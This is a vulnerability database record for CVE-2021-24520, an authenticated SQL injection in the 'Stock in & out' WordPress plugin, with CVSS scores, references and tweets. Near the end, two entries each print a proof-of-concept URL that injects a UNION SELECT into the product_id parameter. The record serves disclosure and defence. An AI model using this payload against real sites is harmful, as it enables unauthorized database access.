The Stock in & out WordPress plugin through 1.0.4 lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerability.
{"id": "CVE-2021-24520", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24520", "description": "The Stock in & out WordPress plugin through 1.0.4 lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerability.", "published": "2021-08-09T10:15:00", "modified": "2021-08-16T19:14:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24520", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/f903aadd-17af-4ddf-8635-abb3338ac815", "https://github.com/pang0lin/CVEproject/blob/main/wordpress_Stock-in-and-out_sqli.md"], "cvelist": ["CVE-2021-24520"], "immutableFields": [], "lastseen": "2022-03-23T14:56:20", "viewCount": 16, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815"]}], "rev": 4}, "score": {"value": 3.7, "vector": "NONE"}, "twitter": {"counter": 2, "modified": "2021-08-10T07:53:51", "tweets": [{"link": "https://twitter.com/threatmeter/status/1425021435215589376", "text": "CVE-2021-24520 The Stock in & out WordPress plugin through 1.0.4 lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerabilit\u2026 https://t.co/Rrfk7xHpPs?amp=1"}, {"link": "https://twitter.com/threatmeter/status/1425021435215589376", "text": "CVE-2021-24520 The Stock in & out WordPress plugin through 1.0.4 lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerabilit\u2026 https://t.co/Rrfk7xHpPs?amp=1"}]}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815"]}]}, "exploitation": null, "vulnersScore": 3.7}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:coderstimes:out_of_stock_message_for_woocommerce:1.0.4"], "cpe23": ["cpe:2.3:a:coderstimes:out_of_stock_message_for_woocommerce:1.0.4:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-89"], "affectedSoftware": [{"cpeName": "coderstimes:out_of_stock_message_for_woocommerce", "version": "1.0.4", "operator": "le", "name": "coderstimes out of stock message for woocommerce"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:coderstimes:out_of_stock_message_for_woocommerce:1.0.4:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.4", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/f903aadd-17af-4ddf-8635-abb3338ac815", "name": "https://wpscan.com/vulnerability/f903aadd-17af-4ddf-8635-abb3338ac815", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pang0lin/CVEproject/blob/main/wordpress_Stock-in-and-out_sqli.md", "name": "https://github.com/pang0lin/CVEproject/blob/main/wordpress_Stock-in-and-out_sqli.md", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpexploit": [{"lastseen": "2021-09-14T23:40:44", "description": "The plugin lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerability.\n", "cvss3": {}, "published": "2021-06-02T00:00:00", "type": "wpexploit", "title": "Stock in & out <= 1.0.4 - Authenticated SQL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-24520"], "modified": "2021-08-10T07:20:10", "id": "WPEX-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815", "href": "", "sourceData": "https://www.example.com/wp-admin/admin.php?page=stock_in&product_id=0+union+select+1%2C2%2C3%2Cuser%28%29%2Cdatabase%28%29%2C6%2C7%2C8%2C9%2C10&tab=history", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-09-14T23:40:44", "description": "The plugin lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerability.\n\n### PoC\n\nhttps://www.example.com/wp-admin/admin.php?page=stock_in&product;_id=0+union+select+1%2C2%2C3%2Cuser%28%29%2Cdatabase%28%29%2C6%2C7%2C8%2C9%2C10&tab;=history\n", "cvss3": {}, "published": "2021-06-02T00:00:00", "type": "wpvulndb", "title": "Stock in & out <= 1.0.4 - Authenticated SQL Injection", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24520"], "modified": "2021-08-10T07:20:10", "id": "WPVDB-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815", "href": "https://wpscan.com/vulnerability/f903aadd-17af-4ddf-8635-abb3338ac815", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}